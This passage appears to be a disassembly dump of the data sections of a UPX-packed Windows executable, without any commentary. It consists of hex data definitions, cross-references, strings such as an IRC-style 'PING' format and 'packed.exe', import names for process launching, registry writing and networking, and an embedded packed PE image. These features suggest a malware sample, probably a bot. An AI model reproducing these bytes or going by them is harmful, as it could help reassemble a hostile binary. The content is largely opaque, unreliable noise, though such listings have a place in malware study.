XREF: UPX0:0041682Cr dd 35h, 0 off_41DB10 dd offset dword_41DE18 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... align 8 off_41DB18 dd offset dword_41CCF8 ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DB1C dd offset nullsub_4 ; DATA XREF: sub_40CF2F+B8r dword_41DB20 dd 0 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset dword_41CCD8 dd offset dword_41CCCC align 10h dd offset dword_41CCAC dd offset nullsub_102 dd 0 dd offset dword_41CC84 dd offset nullsub_103 align 8 dd offset loc_41CC58 dd offset dword_41CC4C dd 0 dd offset dword_41CC34 dd offset nullsub_104 align 10h dd offset loc_41CC0C dd offset nullsub_105 dd 4 dup(0) dword_41DB78 dd 0D7E6FDC6h, 0F7EBEBF7h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DB88 dd 69702323h, 2323h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DC08 db 0DAh ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 0E1h, 0B1h, 81h dd 0EBF7BDB8h, 1Eh dup(0) byte_41DC88 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DD08 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DD14 dd 8BBBA78Eh, 0E6E6E7A4h, 0DA9AA6h, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DE18 dd 80B682D3h, 0E6A7B0BBh, 85DE92B1h, 0BFFEh, 0 ; DATA XREF: UPX1:off_41DB10o dword_41DE2C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: UPX0:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: UPX0:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: UPX0:loc_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: UPX0:00416A54o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: UPX0:0041684Bo align 10h dword_41DEA0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o off_41DEB0 dd offset off_4172BC ; DATA XREF: UPX1:off_4172C0o ; UPX1:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DED0 dd offset off_4172BC ; DATA XREF: UPX1:off_417308o ; UPX1:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DEE8 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DEEC dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DEF0 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DEF4 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DEFC dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DF00 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DF08 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DF0C dd 0 ; DATA XREF: sub_40332B+Bo dword_41DF10 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DF18 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DF1C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DF20 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DF24 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DF28 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DF2C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DF30 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DF34 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DF38 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DF3C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DF40 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DF44 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DF48 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DF4C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DF50 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DF54 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DF58 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DF5C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E364 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E368 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E370 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E374 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E378 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E37C dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E380 dd 14AEC8h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E39C db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E3A0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E3A8 dd 14B000h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E3C0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E3C8 dd 863A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E3CC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E3D0 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E3D4 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E3D8 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E3E0 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E7E8 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E968 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41EA68 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41EA74 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41EA7C dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41EA80 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EB84 db 0F2h ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... aShmmhNaII db 0Bh,'³èHMMH',0Bh,'½ËëÓ©',0 align 4 dword_41EB98 dd 85E7D1A7h, 0C5FDFDC5h, 0B939B9D1h, 1987FB7Bh, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EBAC dd 6480A60h ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EBB0 dd 0CFFBEFF2h ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EBB4 dd 6086F97Dh ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EBB8 dd 12D42A7Fh ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EBC0 db 0F9h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... ; --------------------------------------------------------------------------- retn 0E8D9h ; --------------------------------------------------------------------------- enter 0FFFFD4D4h, 0C8h retn 0B6F6h ; --------------------------------------------------------------------------- db 0F6h ; --------------------------------------------------------------------------- xchg eax, edi xlat jmp near ptr byte_41EC79 ; --------------------------------------------------------------------------- align 8 dword_41EBD8 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EBE0 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EBE4 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EBEC dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EBF0 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EBF4 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EBFC dd 6B636170h, 652E6465h, 6578h, 1Ch dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... db 0 byte_41EC79 db 3 dup(0) ; CODE XREF: UPX1:0041EBCEj dd 21h dup(0) dword_41ED00 dd 0E906B76h ; DATA XREF: sub_40A9CF+838r ; UPX0:00416909w dword_41ED04 dd 5FB8A912h ; DATA XREF: UPX0:00416913w dword_41ED08 dd 0D582DCB0h ; DATA XREF: UPX0:0041691Dw dword_41ED0C dd 6920221Ch ; DATA XREF: UPX0:00416927w dword_41ED10 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41EE18 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EF18 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EF98 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41F018 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F118 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3B9h dup(0) dd 0E0h, 16030h, 74654701h, 73726556h, 456E6F69h, 1004178h dd 4C746547h, 6C61636Fh, 666E4965h, 100416Fh, 43746553h dd 65727275h, 6944746Eh, 74636572h, 4179726Fh, 736C0100h dd 656C7274h, 100416Eh, 57746547h, 6F646E69h, 69447377h dd 74636572h, 4179726Fh, 72430100h, 65746165h, 656C6946h dd 47010041h, 69467465h, 6954656Ch, 100656Dh, 46746553h dd 54656C69h, 656D69h, 74654701h, 74737953h, 69446D65h dd 74636572h, 4179726Fh, 6F4C0100h, 694C6461h, 72617262h dd 1004179h, 50746547h, 41636F72h, 65726464h, 1007373h dd 74697845h, 636F7250h, 737365h, 706F4301h, 6C694679h dd 1004165h, 4C746547h, 45747361h, 726F7272h, 72570100h dd 46657469h, 656C69h, 61655301h, 50686372h, 41687461h dd 72430100h, 65746165h, 65706950h, 65470100h, 72754374h dd 746E6572h, 636F7250h, 737365h, 74654701h, 706D6F43h dd 72657475h, 656D614Eh, 43010041h, 74616572h, 6F725065h dd 73736563h, 50010041h, 4E6B6565h, 64656D61h, 65706950h dd 65470100h, 69784574h, 646F4374h, 6F725065h, 73736563h dd 65520100h, 69466461h, 100656Ch, 4D746547h, 6C75646Fh dd 6E614865h, 41656C64h, 65470100h, 646F4D74h, 46656C75h dd 4E656C69h, 41656D61h, 704F0100h, 72506E65h, 7365636Fh dd 52010073h, 50646165h, 65636F72h, 654D7373h, 79726F6Dh dd 6C530100h, 706565h, 72655401h, 616E696Dh, 72506574h dd 7365636Fh, 43010073h, 65736F6Ch, 646E6148h, 100656Ch dd 46746553h, 41656C69h, 69727474h, 65747562h, 1004173h dd 656C6544h, 69466574h, 41656Ch, 636F4C01h, 72466C61h dd 1006565h, 61657243h, 68546574h, 64616572h, 6E550100h dd 5670616Dh, 4F776569h, 6C694666h, 4D010065h, 69567061h dd 664F7765h, 656C6946h, 72430100h, 65746165h, 656C6946h dd 7070614Dh, 41676E69h, 6C470100h, 6C61626Fh, 6F6D654Dh dd 74537972h, 73757461h, 65470100h, 73694474h, 6572466Bh dd 61705365h, 78456563h, 47010041h, 72447465h, 54657669h dd 41657079h, 65470100h, 63695474h, 756F436Bh, 100746Eh dd 72657551h, 72655079h, 6D726F66h, 65636E61h, 71657246h dd 636E6575h, 51010079h, 79726575h, 66726550h, 616D726Fh dd 4365636Eh, 746E756Fh, 1007265h, 61427349h, 646F4364h dd 72745065h, 65540100h, 6E696D72h, 54657461h, 61657268h dd 49010064h, 6974696Eh, 7A696C61h, 69724365h, 61636974h dd 6365536Ch, 6E6F6974h, 65470100h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 45010064h, 7265746Eh, 74697243h dd 6C616369h, 74636553h, 6E6F69h, 70754401h, 6163696Ch dd 61486574h, 656C646Eh, 65530100h, 72724574h, 6F4D726Fh dd 1006564h, 61657243h, 754D6574h, 41786574h, 736C0100h dd 70637274h, 1004179h, 7274736Ch, 6E797063h, 47010041h dd 6E457465h, 6F726976h, 6E656D6Eh, 72615674h, 6C626169h dd 1004165h, 7274736Ch, 41706D63h, 654C0100h, 43657661h dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 0EDh, 16000h dd 67655201h, 6D756E45h, 756C6156h, 1004165h, 44676552h dd 74656C65h, 6C615665h, 416575h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 51676552h, 79726575h, 756C6156h dd 41784565h, 65520100h, 74655367h, 756C6156h, 41784565h dd 65520100h, 65724367h, 4B657461h, 78457965h, 47010041h dd 73557465h, 614E7265h, 41656Dh, 79724301h, 65527470h dd 7361656Ch, 6E6F4365h, 74786574h, 72430100h, 47747079h dd 61526E65h, 6D6F646Eh, 72430100h, 41747079h, 69757163h dd 6F436572h, 7865746Eh, 1004174h, 43676552h, 65736F6Ch dd 79654Bh, 0FA00h, 1611400h, 695F0100h, 616F74h, 74735F01h dd 63696E72h, 100706Dh, 7878435Fh, 6F726854h, 63784577h dd 69747065h, 1006E6Fh, 74313F3Fh, 5F657079h, 6F666E69h dd 41554040h, 5A584045h, 5F5F0100h, 46787843h, 656D6172h dd 646E6148h, 72656Ch, 6D656D01h, 65766F6Dh, 74730100h dd 79706372h, 725F0100h, 72746Fh, 6F725F01h, 1006C74h dd 6E73765Fh, 6E697270h, 1006674h, 636D656Dh, 100706Dh dd 6F6C6F74h, 726577h, 72747301h, 706D63h, 69727001h, 66746Eh dd 323F3F01h, 50415940h, 40495841h, 3F01005Ah, 5940333Fh dd 41505841h, 5A4058h, 70737601h, 746E6972h, 5F010066h dd 69676562h, 7268746Eh, 65646165h, 5F010078h, 65637865h dd 685F7470h, 6C646E61h, 337265h, 69656301h, 5F01006Ch dd 6C6F7466h, 78650100h, 1007469h, 6C616572h, 636F6Ch dd 72747301h, 706D636Eh, 735F0100h, 6972706Eh, 66746Eh dd 72747301h, 727473h, 63737301h, 666E61h, 6F746101h, 66010069h dd 6B656573h, 72660100h, 646165h, 706F6601h, 1006E65h dd 6F6C6366h, 1006573h, 69727766h, 1006574h, 6C657466h dd 7301006Ch, 61637274h, 6D010074h, 65736D65h, 63010074h dd 6B636F6Ch, 70730100h, 746E6972h, 73010066h, 636E7274h dd 1007970h, 636D656Dh, 1007970h, 65657266h, 616D0100h dd 636F6C6Ch, 74730100h, 6E656C72h, 735F0100h, 6D637274h dd 6970h, 105h, 161C8h, 0C8FFh, 112h, 161D0h, 65685301h dd 78456C6Ch, 74756365h, 4165h, 11Eh, 161D8h, 74654701h dd 65726F46h, 756F7267h, 6957646Eh, 776F646Eh, 73490100h dd 72616843h, 68706C41h, 6D754E61h, 63697265h, 77010041h dd 69727073h, 4166746Eh, 65470100h, 6E695774h, 54776F64h dd 41747865h, 69460100h, 6957646Eh, 776F646Eh, 53010041h dd 4D646E65h, 61737365h, 416567h, 12900h, 161F400h, 4FF00h dd 0FF0097FFh, 16FF0001h, 15FF00h, 0FF0002FFh, 5FF0013h dd 0AFF00h, 0FF0017FFh, 33FF000Ch, 6FFF00h, 0FF0038FFh dd 3FF0012h, 70FF00h, 0FF0009FFh, 6FF0034h, 0BFF00h, 0FF0010FFh dd 14FF0008h, 74FF00h, 10011FFh, 49415357h, 6C74636Fh dd 39FF00h, 0FF0073FFh, 0Dh, 50000000h, 4C000045h, 0F0000301h dd 463901h, 0 dd 0E0000000h, 0B010F00h, 601h, 160h, 82h, 0F1000000h dd 167h, 10h, 170h, 4000h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 200h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 0C8000000h, 0A0000173h, 15h dup(0) dd 70000170h, 2, 5 dup(0) dd 2E000000h, 74786574h, 0E7000000h, 15Fh, 10h, 160h, 4 dd 2 dup(0) dd 20000000h, 2EE00000h, 74616472h, 4C000061h, 0Eh, 170h dd 10h, 164h, 2 dup(0) dd 40000000h, 2E400000h, 61746164h, 98000000h, 71h, 180h dd 60h, 174h, 2 dup(0) dd 40000000h, 0C00000h, 0D80001F0h, 3000176h, 340001F7h dd 8101820h, 64EEBA04h, 0C3F800D3h, 3EC07F0h, 0A69A69E4h dd 0D0D8E069h, 0F99DC0C8h, 0B0B8A69Ah, 3C39740h, 0D74D3494h dd 3B888C34h, 0D36C7480h, 64D34D34h, 50545C60h, 4EEBA69Ah dd 3B380348h, 0AE202830h, 1869A77Bh, 79714h, 0E99CD98Fh dd 3C2F8CCh, 0C29300E8h, 9D34D34Dh, 0C4D0DC03h, 4D34ACB8h dd 8CA034D3h, 17606878h, 30D74D26h, 6720283Fh, 0D74D41DFh dd 271C244Dh, 8140318h, 36E74D34h, 32FC1FCh, 0D3DCE4F0h dd 0D8D34D35h, 1FCCD0D4h, 34D34DC8h, 0B0B8C04Dh, 34909CA8h dd 8434D34Dh, 6068707Ch, 0D967B669h, 98589250h, 1050440Bh dd 48AEC25Eh, 67C14003h, 0DDF3C138h, 2CBBB085h, 0FBC1240Fh dd 18140F1Ch, 375D3DDh, 0C0041B0Ch, 8C13C0ABh, 0F05DD74Dh dd 0DC03E80Fh, 3423C0D0h, 0CC2EEBDDh, 7FF500Fh, 34D3B844h dd 3B0D74Dh, 9098A0A8h, 5D3CD180h, 0C088578Ch, 8EF853C0h dd 784B5630h, 0CF74C0A7h, 0AF53C96Ch, 488FABC0h, 0D3BDD34Dh dd 389B33F0h, 0C65D2830h, 1C133BA6h, 47FC00Ch, 0D8DC9DD7h dd 8BBFF80Bh, 7D4BFE8h, 0BBB103D0h, 0C4CC4D8Ch, 0BB09BBFh dd 5D8CBFA4h, 0A0A38577h, 9403981Bh, 8058AFBFh, 0B8CBBB1h dd 80B7BF84h, 9F0B78B7h, 0B7736170h, 77616C62h, 639B403h dd 6B2F70E3h, 0B30B6169h, 684CA5A0h, 2BFB6133h, 2B6F3D96h dd 6F6C7173h, 7DF05011h, 462600Eh, 0B3207h, 0C0AE7Ah, 0C02813FCh dd 5801454Eh, 0D9BB137Fh, 1D33D9B2h, 6D6F070Bh, 732D96EBh dd 870F1756h, 0D5FE6B65h, 75D50ACh, 766F6C12h, 9BC8F865h dd 6E6F6D7Fh, 6C737965h, 74697475h, 16206863h, 755F3F7Ah dd 788BCA63h, 0FB3B0D9Bh, 673365E7h, 78070B4Eh, 71B6DB6Bh dd 237A1A77h, 71701500h, 0B9417A61h, 420B7407h, 0C9E4F207h dd 7807FFEEh, 396B3270h, 0F0B92538h, 651B546Ah, 8A3D506Dh dd 63470BCDh, 16200D7Eh, 0EF0BC7ECh, 735AD6E8h, 90A79951h dd 0AE7BAA27h, 4D62A835h, 1983CBDDh, 72F70A16h, 70F7C474h dd 0F6602549h, 6E17078Bh, 0CE7AEB75h, 61B5ACDAh, 46C98D0Ah dd 0DD606D13h, 2B0E1DD9h, 35B47473h, 338A1707h, 2D3134C8h dd 8D7E6572h, 0F6217362h, 61371579h, 56218264h, 6543ED02h dd 243B0123h, 0B30C220h, 92E4B60Ch, 70000h, 9C9C9B9Ch dd 7030000h, 0E6B70A10h, 70277A0Bh, 8BEB4F77h, 7DECC3Dh dd 0F61EB27h, 2D97151Eh, 0BE900A1h, 0E7381731h, 7032B22h dd 0B737840Bh, 211FBD05h, 5C0D0974h, 43081E44h, 75636FE1h dd 53175704h, 0D0FC2A0Bh, 5C736DDDh, 2B6B2C41h, 73ECBB5Bh dd 0ED305C20h, 2441376Dh, 741AC6Ah, 4164725Ch, 63F30B68h dd 0D13C20Bh, 376D65D8h, 270011h, 923172A1h, 934B571Fh dd 9F60325Bh, 630B64BCh, 0F68EC223h, 3131B9Eh, 0AF666622h dd 2346ABB7h, 7729C315h, 0CE4A056Eh, 75173E15h, 65DD5292h dd 0D629878Fh, 1B865B12h, 7551C39Eh, 0F969AB11h, 44BB9A49h dd 636F205Dh, 8CDA6569h, 86C38CFh, 0CF71613Ch, 6A696323h dd 73B5373Ch, 6269AF12h, 0F6F636Dh, 0AB775262h, 0B37B612Fh dd 1E92C2h, 0B58F8BF3h, 6F367416h, 13266769h, 2EF6D51Ch dd 0A3707533h, 2B126EA2h, 5F9DA39Bh, 6B3335CBh, 0B11AD479h dd 87370759h, 68C5AC65h, 28C455EDh, 0F7179FABh, 75E336B6h dd 73184190h, 0D6EFCB8Fh, 0E7193466h, 72622293h, 0C1B9A911h dd 73759B76h, 0B3A36507h, 0A44284BEh, 2DF6B6Ah, 0A46F4E17h dd 826F6A76h, 0D71769DFh, 0CE137361h, 1F5A66E7h, 3B086A16h dd 175B8218h, 0E667626Fh, 0B5CF7C2Fh, 415983D3h, 0D968DF04h dd 65B606F0h, 656B070Bh, 0B6015272h, 65033B37h, 20A690BBh dd 0C0FB115h, 0A0578423h, 0F67875CCh, 0BDEC6F06h, 9A756CC7h dd 7700353h, 0E41686B0h, 74C4F173h, 0D818570Bh, 1B727B36h dd 52FD406Dh, 740FB2E4h, 2D20311Ah, 8C060A0Dh, 3207B262h dd 60A42DE3h, 54460A42h, 4A0542h, 23FBFF21h, 0A38A325Bh dd 2D364B87h, 0F5FFFA0Bh, 20332078h, 686620D1h, 32303120h dd 0DC4A2034h, 5BB914BFh, 123A3067h, 7772648Ch, 6E907278h dd 72246D91h, 42D2827h, 920DAC0Dh, 0D8F65E26h, 35316B83h dd 0CFA07B30h, 33318F13h, 230F142h, 0D702501Bh, 4B6C2DD9h dd 1F022C13h, 0E4BB5620h, 32342FB1h, 0BD84B35h, 8F5F3015h dd 103E4BFDh, 37350C41h, 222F2220h, 2B02017h, 60D8F202h dd 0E0873173h, 0E4F60A6Bh, 0A04FCF92h, 9833162Fh, 92E16310h dd 33335F23h, 20C2A831h, 0DE20C6A3h, 0A7333019h, 0C20C5931h dd 0CB2FD3CDh, 44803E0Fh, 46E327BDh, 23205054h, 0E6BA952Ah dd 9DB8056Dh, 0D55D72Fh, 0FB0130BBh, 604A976Ch, 6B04A120h dd 8E1780Bh, 0E0F6008h, 241B0C0h, 86444B57h, 69544828h dd 6DA08393h, 5C89749Eh, 0B6409B2Fh, 54748F28h, 0D812298Bh dd 1FCF1400h, 15AA278Ah, 5EDC811Ch, 0C119FE80h, 0FF3174FFh dd 0EBF9E200h, 8FE6E805h, 8B64DB33h, 0F8833043h, 70A0889Bh dd 788BAD1Ch, 0FB99E808h, 6C8552FFh, 5C8B3C5Fh, 0DF03783Bh dd 205B8B53h, 0FA374205h, 4C383BFh, 0F703338Bh, 32ACC933h dd 0D505C1B9h, 0FFFF6FFCh, 0CA2BF675h, 2B58E975h, 5EEBD1D8h dd 28245E03h, 8B0B8B66h, 0DF031C5Eh, 0E078028Bh, 5EC703BFh dd 5EE0FF5Bh, 1268A868h, 0E46FFD14h, 6E92BA54h, 0D6FF8404h dd 0DBA4F88Bh, 0EC78A006h, 83BAA453h, 0C47F0057h, 0AC15685Ah dd 8B1C0568h, 0F6F98BD4h, 6AD8FFDBh, 0BA535210h, 5A603063h dd 2B4501Ah, 0C5550h, 8E26058h, 0BF609EC0h, 0B7B3E543h dd 536C2FCBh, 0A69000AFh, 0B95040C2h, 0E6EC3B7Ah, 0A173CCEEh dd 69D31009h, 0C033202Ah, 25BBBCC7h, 5443AF02h, 7972328Ch dd 0EDDDB019h, 7D8166BFh, 75111102h, 220406EDh, 0AAE47500h dd 96C010BDh, 8B370015h, 0B59FEA75h, 0EB392FFh, 45D89ECh dd 894F1989h, 61451465h, 1BC7646Dh, 21A171CAh, 8DF8FD80h dd 6CA25504h, 781C4128h, 7745E066h, 0C5D822F8h, 0A30D7B90h dd 14643DB0h, 2E18458Fh, 69BE02h, 0C03B7F7Eh, 3DBA1836h dd 495C6BD3h, 0C268401Ch, 3702A158h, 1700A60Ch, 438ABECh dd 0FD9F4DFFh, 8B22A0EFh, 577441C8h, 104D8D53h, 0BA1C1E51h dd 777F97B9h, 0CBF5BEE5h, 0C5EB401Bh, 0C5935C0Fh, 0EE446A9Dh dd 0C96FED0Bh, 8BFC8BE0h, 654BABD7h, 0FDE2AB59h, 0DFE5FF40h dd 505252ECh, 0F12C7600h, 0FE582694h, 0BA5053C7h, 63DFD601h dd 0DE34DACBh, 53963D0Bh, 0C7627CFh, 7F91FB77h, 31568583h dd 46BABA07h, 9C10Ch, 0AEA7E3h, 13E66AC7h, 1BCCF81Ch, 0D20CD203h dd 0CCD80B7Ch, 0CD2A0ACh, 78840CD2h, 0DF14C58h, 28340CD2h dd 7CC070Ch, 274594F9h, 0DAEAF6CAh, 0F60FA68Ah, 80B0FFFFh dd 0ACBCBDBBh, 99C590B1h, 0C99ABFF1h, 86F7B191h, 0FA27A0ADh dd 3E5FD0EAh, 91630018h, 0A191B0A3h, 0ACDF93AAh, 9EFF63EAh dd 88DAB2E5h, 17B4AD9Ah, 0DBEFF5CEh, 0FFFFE6B7h, 0A9BB941Fh dd 0A1FAA489h, 0DA97B2BAh, 86A4A4C2h, 0B8B28BD3h, 0BCA1A084h dd 63C93FFFh, 0E0F0CB2Bh, 87BEA397h, 0A9BAFAA7h, 9FC29FA5h dd 0D9C97FE5h, 0C381BEFFh, 0C6ACB590h, 77A0B1A6h, 0BEAB8EFBh dd 0AAE1BA8Dh, 0B6FAFFFEh, 0DD95A3A4h, 81B2FE82h, 0BAA69BD5h dd 265BC79Bh, 0FB67487Bh, 0C68DA3EBh, 0B583B26Eh, 0B1A0A77Fh dd 0F4D88E92h, 0DCEA737Ah, 0EDFFB0EBh, 90AAAB7Fh, 0A6B1B1BCh dd 0F3C399ECh, 9DC281A2h, 0BC8DB7ECh, 0F178001Bh, 73621345h dd 0C0B00C88h, 906C0327h, 2B6A6001h, 9C45FF24h, 9D0D7589h dd 0FA85B6A1h, 213C8438h, 49ECF1C8h, 7F90306h, 3903C15Bh dd 98ADA797h, 95BCA0A9h, 0CDC8539Dh, 0B52F6h, 5A0136D0h dd 0B155070Eh, 98D52E78h, 70414F29h, 587372Fh, 70B66D0h dd 0EC2C2D52h, 4949F014h, 13E72F53h, 3847AABCh, 3A151Fh dd 1962654Fh, 2FC64B05h, 2A58288Dh, 8353C178h, 45302A6Eh dd 0ABA10CBh, 0E148E126h, 1204D2Eh, 9BB940A2h, 0B03BF67Dh dd 3B290D57h, 0BC222273h, 62CF1081h, 51ECB7D0h, 54A427CBh dd 4EF60562h, 8F5D6F50h, 2062562Ch, 0C22C2B6Ch, 0E184AD1Ch dd 40F75DAh, 2D65876Bh, 0EE8401C8h, 87D54E33h, 7469C080h dd 0B2D88B68h, 1B05E6F6h, 0C5CC6FF8h, 7D38160Bh, 95A0338Dh dd 91561054h, 223DACADh, 9C3A7300h, 5AB611A9h, 306C7927h dd 0D419661h, 0DA5B24C0h, 87A9EC1Bh, 0BC732545h, 0AAC55404h dd 28730936h, 83652D05h, 1B1F6585h, 59301088h, 12E96348h dd 0A08040D2h, 4551886Eh, 59827F8Ah, 155EAE05h, 0A2756363h dd 5984B6B2h, 8EAD3BB0h, 41421B39h, 2008854Bh, 2464EC1h dd 686D7572h, 0B096B0B1h, 8A235143h, 96300378h, 193AAEB7h dd 0B0C0DACBh, 0C9AF7833h, 7506C25Eh, 11D561Ah, 0DDE096Fh dd 41FF65D0h, 5B617B99h, 3341793Ch, 34417A36h, 0FA5FA97Fh dd 68456438h, 6867B566h, 0ED675247h, 6C553568h, 0A97F7644h dd 33D8E0h, 0D46C46B7h, 5C505846h, 1A026973h, 2E1010B0h dd 5600BAE0h, 7716B0F6h, 354E0B67h, 9B066300h, 0D81B0C41h dd 94012E30h, 25E87D4Bh, 6C4F538Dh, 8F7DC141h, 623F1843h dd 0D48B5870h, 11D2868h, 0C3D12D0Ch, 935C1C08h, 1E5C315Ch dd 1349810Bh, 25876ABBh, 2F4C901Bh, 462045E6h, 108290h dd 0A201C148h, 45215B25h, 0CDB172E4h, 4002A610h, 0DDAB1305h dd 0AFCF2156h, 253D3C50h, 3B443347h, 7038180h, 8660690Fh dd 0F715003h, 